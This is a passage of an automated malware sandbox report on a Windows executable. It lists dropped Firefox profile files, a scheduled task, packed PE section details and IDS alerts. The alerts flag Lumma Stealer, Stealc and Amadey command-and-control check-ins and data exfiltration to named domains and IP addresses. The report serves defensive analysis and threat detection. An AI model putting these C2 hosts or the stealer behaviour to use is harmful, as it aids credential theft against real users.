SHA1:	CE9D58967DA9B5356D6C1D8A482F9CE74DA9097A
SHA-256:	97CE5D8AFBB0AA610219C4FAC3927E32C91BFFD9FD971AF68C718E7B27E40077
SHA-512:	99777325893DC7A95FD49B2DA18D32D65F97CC7A8E482D78EDC32F63245457FA5A52750800C074D552D20B6A215604161FDC88763D93C76A8703470C3064196B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......\|....~.}.}z}-\|.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\favicons.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\permissions.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, file counter 4, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 4
Category:	modified
Size (bytes):	98304
Entropy (8bit):	0.07333027270204089
Encrypted:	false
SSDEEP:	12:DBl/A0OWla0mwPxRymgObsCVR45wcYR4fmnsCVR4zki:DLhesh7Owd4+ji
MD5:	4B097B6711CA8ABC9C99C833B586EC63
SHA1:	2A583D212CCCEF6633C182ACA1AE54F7E5468BF8
SHA-256:	F4D52D1786482E412F35755E1780A869594E1D311D9B2A1E16D453C5C776193A
SHA-512:	6008DA946C85FFCFC6AD802EADE0BBF059FCFD770E638029A1997508F265CA4E16E85D91D0703DD388E56101C4E64BB67D3DAE1E36EBB441F455849482B7793A
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......~s..F~s........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.035822017202226504
Encrypted:	false
SSDEEP:	3:GtlstFGtqqTVzoTu3lstFGtqqTVzoT389//alEl:GtWtEtq2VcaWtEtq2VcT89XuM
MD5:	0B2FC3C4A743D026497C601EF97C4B3C
SHA1:	1320B9F84F8DB21AD7851ED326844D086FACEF09
SHA-256:	3630D1B87C4C3A6D694DCF11BADB7BF5401A016A767A86A0F7EB3F426DB37BE3
SHA-512:	D6592CAA6D0A41C7A219EAAEA71EFB4326DF9459E45D5F585E15F607576EAC46B59A1E8684ADDC4A79B205A286DD7021A0CFFDCF34E49DDC5FAF73F6FB901716
Malicious:	false
Preview:	..-........................@..MDj...%.p.3..v..-........................@..MDj...%.p.3..v........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	32824
Entropy (8bit):	0.03993518821809553
Encrypted:	false
SSDEEP:	3:Ol13e0cgNrchx4gs+wl8rEXsxdwhml8XW3R2:KX5chx4gul8dMhm93w
MD5:	A9C25B6FFBCCF9EB93193180EC0B5C79
SHA1:	0B81963251DAE8B4C7BEA1F0F13A6CBBD8C3ACE3
SHA-256:	5E355769228C030C7675A541ED400942FA9A6BCA6C5CDC77AEFA4075634418AE
SHA-512:	9BA87381DC5C1384057AA5EE9892960AFE36633986E2FBC447CC3279B686C984BA59425491949D1A26FB07CDED1E75804152E0542DB403490E07D7DF84877B90
Malicious:	false
Preview:	7....-...........MDj.......M...........MDj......@.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	10018
Entropy (8bit):	5.513382464689281
Encrypted:	false
SSDEEP:	192:jnPOeRnHYbBp6CJ0aX+H6SEXK5kHWNBw8dFSl:TPeTJUapHEwu0
MD5:	EA09688A7B0EF45F3939044E3FE3A189
SHA1:	4D2D450D6AF49151EFE3F306902B9FC376880A3B
SHA-256:	A120731D3E920C3E76BB626FEEE2036E2D4E730CE8A5069E172BFE52D7EAB83C
SHA-512:	3E41D9968D9C021132B5A239106C28E29DD789559E5E9E467A405AD01C9CFD7EEA92F6EF31C57A7C8B53CD9B8ABC08C05105B797F1A46AE2E70E574356CCF917
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 1);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	10018
Entropy (8bit):	5.513382464689281
Encrypted:	false
SSDEEP:	192:jnPOeRnHYbBp6CJ0aX+H6SEXK5kHWNBw8dFSl:TPeTJUapHEwu0
MD5:	EA09688A7B0EF45F3939044E3FE3A189
SHA1:	4D2D450D6AF49151EFE3F306902B9FC376880A3B
SHA-256:	A120731D3E920C3E76BB626FEEE2036E2D4E730CE8A5069E172BFE52D7EAB83C
SHA-512:	3E41D9968D9C021132B5A239106C28E29DD789559E5E9E467A405AD01C9CFD7EEA92F6EF31C57A7C8B53CD9B8ABC08C05105B797F1A46AE2E70E574356CCF917
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 1);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 131075, last written using SQLite version 3042000, page size 512, file counter 6, database pages 8, cookie 0x4, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	2.0836444556178684
Encrypted:	false
SSDEEP:	24:JBwdh/cEUcR9PzNFPFHx/GJRBdkOrDcRB1trwDeAq2gRMyxr3:jnEUo9LXtR+JdkOnohYsl
MD5:	8B40B1534FF0F4B533AF767EB5639A05
SHA1:	63EDB539EA39AD09D701A36B535C4C087AE08CC9
SHA-256:	AF275A19A5C2C682139266065D90C237282274D11C5619A121B7BDBDB252861B
SHA-512:	54AF707698CED33C206B1B193DA414D630901762E88E37E99885A50D4D5F8DDC28367C9B401DFE251CF0552B4FA446EE28F78A97C9096AFB0F2898BFBB673B53
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.405844582223817
Encrypted:	false
SSDEEP:	6:THcyX55ZsUEZ+lX1CGdKUe6tFXqYEp5t/uy0lgut0:gAuQ1CGAFifXVgut0
MD5:	5C108E5CE478F489677DFA88E975ABFE
SHA1:	F7CC0060A0137348F6CBC91391375704F5933029
SHA-256:	3D77E6295861A27F4312C887943C31F4956C8A2E8E411AC077722863DCBF41DE
SHA-512:	8F00CE1AC82AF8D3201B8CFBA3D1D43969AA440732A79241FC49C82689A0424857D9934F8023F914A091EEE5D6A6FB1B1A989D7795FA10BCFFA18D57DC95EB5D
Malicious:	false
Preview:	...........C.l./...<F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.60679165885099
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'989'568 bytes
MD5:	19ca4c1711e487e5c93a66f3e5398c92
SHA1:	34fac47faf40a8013ddd39d5c391d503c5b04db9
SHA256:	03617a6fe46419e212fea056d6e43a0abff7a41dbf9de0896ea6c264b4728622
SHA512:	dd687d4214ba2be9e8479f7731d5456769f2bb1eaa0663bf8bc24642905077b4602d91f4f7fcdd829f9bfcc7f0c4987a9060209a0907184c82cc577e31b9f508
SSDEEP:	49152:bxygU4H2sv9XxAuWvhH6Dc1dso/IQ8PbXw:bx84HVdTYh9EHbbX
TLSH:	70D55A62F609B2CFD09A1775882BCF82695D46FD871008D3EC6D64BB6DB3CC216B5C29
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...J..f............................. 1...........@..........................P1...... ....@.................................W...k..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x712000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66FFF14A [Fri Oct 4 13:44:42 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F8C545056DAh
haddps xmm5, dqword ptr [00000000h]
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5f057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5f1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x5d000	0x25e00	f577271d8fe963cca6260cbfc2b0f2e0	False	0.9991555796204621	data	7.963555692387449	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x5e000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x5f000	0x1000	0x200	fe72def8b74193a84232a780098a7ce0	False	0.150390625	data	1.04205214219471	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
fedkisnw	0x60000	0x2b1000	0x2b0800	c148c57f775e058fbae2dea881370403	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
adtbrenv	0x311000	0x1000	0x400	87a8a5376342a35c61065adb84c4666f	False	0.7998046875	data	6.285498687578408	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x312000	0x3000	0x2200	87dbac7843dd3eac6824e53b28ddca13	False	0.05514705882352941	DOS executable (COM)	0.7420948784821436	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-24T19:29:08.436262+0200	2056471	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)	1	192.168.2.5	58230	1.1.1.1	53	UDP
2024-10-24T19:29:08.456126+0200	2056485	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)	1	192.168.2.5	58388	1.1.1.1	53	UDP
2024-10-24T19:29:08.469316+0200	2056483	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)	1	192.168.2.5	56704	1.1.1.1	53	UDP
2024-10-24T19:29:08.481957+0200	2056481	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)	1	192.168.2.5	62647	1.1.1.1	53	UDP
2024-10-24T19:29:08.495747+0200	2056479	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)	1	192.168.2.5	54851	1.1.1.1	53	UDP
2024-10-24T19:29:08.506440+0200	2056477	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)	1	192.168.2.5	59774	1.1.1.1	53	UDP
2024-10-24T19:29:08.517381+0200	2056475	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)	1	192.168.2.5	54020	1.1.1.1	53	UDP
2024-10-24T19:29:08.530869+0200	2056473	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)	1	192.168.2.5	58170	1.1.1.1	53	UDP
2024-10-24T19:29:10.153582+0200	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.5	49706	104.102.49.254	443	TCP
2024-10-24T19:29:11.020937+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49707	104.21.53.8	443	TCP
2024-10-24T19:29:11.020937+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49707	104.21.53.8	443	TCP
2024-10-24T19:29:12.266561+0200	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49708	104.21.53.8	443	TCP
2024-10-24T19:29:12.266561+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49708	104.21.53.8	443	TCP
2024-10-24T19:29:18.198790+0200	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49712	104.21.53.8	443	TCP
2024-10-24T19:29:22.443090+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49716	104.21.53.8	443	TCP
2024-10-24T19:29:29.298714+0200	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	49725	185.215.113.16	80	TCP
2024-10-24T19:29:32.901945+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49774	185.215.113.37	80	TCP
2024-10-24T19:30:04.565690+0200	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.5	49942	185.215.113.43	80	TCP
2024-10-24T19:30:08.740425+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49959	185.215.113.16	80	TCP
2024-10-24T19:30:11.980774+0200	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.5	49955	TCP
2024-10-24T19:30:12.740740+0200	2056471	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)	1	192.168.2.5	62960	1.1.1.1	53	UDP
2024-10-24T19:30:12.757322+0200	2056485	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)	1	192.168.2.5	55170	1.1.1.1	53	UDP
2024-10-24T19:30:12.769912+0200	2056483	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)	1	192.168.2.5	62392	1.1.1.1	53	UDP
2024-10-24T19:30:12.782877+0200	2056481	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)	1	192.168.2.5	58181	1.1.1.1	53	UDP
2024-10-24T19:30:12.794814+0200	2056479	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)	1	192.168.2.5	57594	1.1.1.1	53	UDP
2024-10-24T19:30:12.806744+0200	2056477	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)	1	192.168.2.5	54725	1.1.1.1	53	UDP
2024-10-24T19:30:12.820005+0200	2056475	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)	1	192.168.2.5	50757	1.1.1.1	53	UDP
2024-10-24T19:30:12.832448+0200	2056473	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)	1	192.168.2.5	51004	1.1.1.1	53	UDP
2024-10-24T19:30:12.909985+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49974	185.215.113.43	80	TCP
2024-10-24T19:30:13.835453+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49981	185.215.113.16	80	TCP
2024-10-24T19:30:14.836388+0200	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.5	49979	104.102.49.254	443	TCP
2024-10-24T19:30:15.649308+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49989	104.21.53.8	443	TCP
2024-10-24T19:30:15.649308+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49989	104.21.53.8	443	TCP
2024-10-24T19:30:16.911185+0200	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49994	104.21.53.8	443	TCP
2024-10-24T19:30:16.911185+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49994	104.21.53.8	443	TCP
2024-10-24T19:30:18.494852+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49998	185.215.113.43	80	TCP
2024-10-24T19:30:19.413947+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49999	185.215.113.16	80	TCP
2024-10-24T19:30:19.976465+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	50001	185.215.113.37	80	TCP
2024-10-24T19:30:20.051650+0200	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	50000	104.21.53.8	443	TCP
2024-10-24T19:30:23.964189+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	50003	185.215.113.43	80	TCP
2024-10-24T19:30:25.197634+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50005	185.215.113.16	80	TCP
2024-10-24T19:30:25.197634+0200	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	50005	185.215.113.16	80	TCP
2024-10-24T19:30:27.840891+0200	2056471	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)	1	192.168.2.5	58389	1.1.1.1	53	UDP
2024-10-24T19:30:27.853039+0200	2056485	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)	1	192.168.2.5	56120	1.1.1.1	53	UDP
2024-10-24T19:30:27.871869+0200	2056483	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)	1	192.168.2.5	59483	1.1.1.1	53	UDP
2024-10-24T19:30:27.886922+0200	2056481	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)	1	192.168.2.5	62322	1.1.1.1	53	UDP
2024-10-24T19:30:27.901042+0200	2056479	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)	1	192.168.2.5	49923	1.1.1.1	53	UDP
2024-10-24T19:30:27.914832+0200	2056477	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)	1	192.168.2.5	56490	1.1.1.1	53	UDP
2024-10-24T19:30:27.928284+0200	2056475	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)	1	192.168.2.5	59280	1.1.1.1	53	UDP
2024-10-24T19:30:27.945127+0200	2056473	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)	1	192.168.2.5	58019	1.1.1.1	53	UDP
2024-10-24T19:30:27.992989+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	50010	185.215.113.37	80	TCP
2024-10-24T19:30:28.979583+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	50015	185.215.113.43	80	TCP
2024-10-24T19:30:29.453430+0200	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.5	50014	104.102.49.254	443	TCP
2024-10-24T19:30:31.719234+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50018	104.21.53.8	443	TCP
2024-10-24T19:30:38.197005+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	50039	185.215.113.37	80	TCP
2024-10-24T19:30:42.723676+0200	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	50023	185.215.113.16	80	TCP
2024-10-24T19:30:49.237579+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	50044	185.215.113.37	80	TCP
2024-10-24T19:30:56.841536+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	50048	185.215.113.37	80	TCP
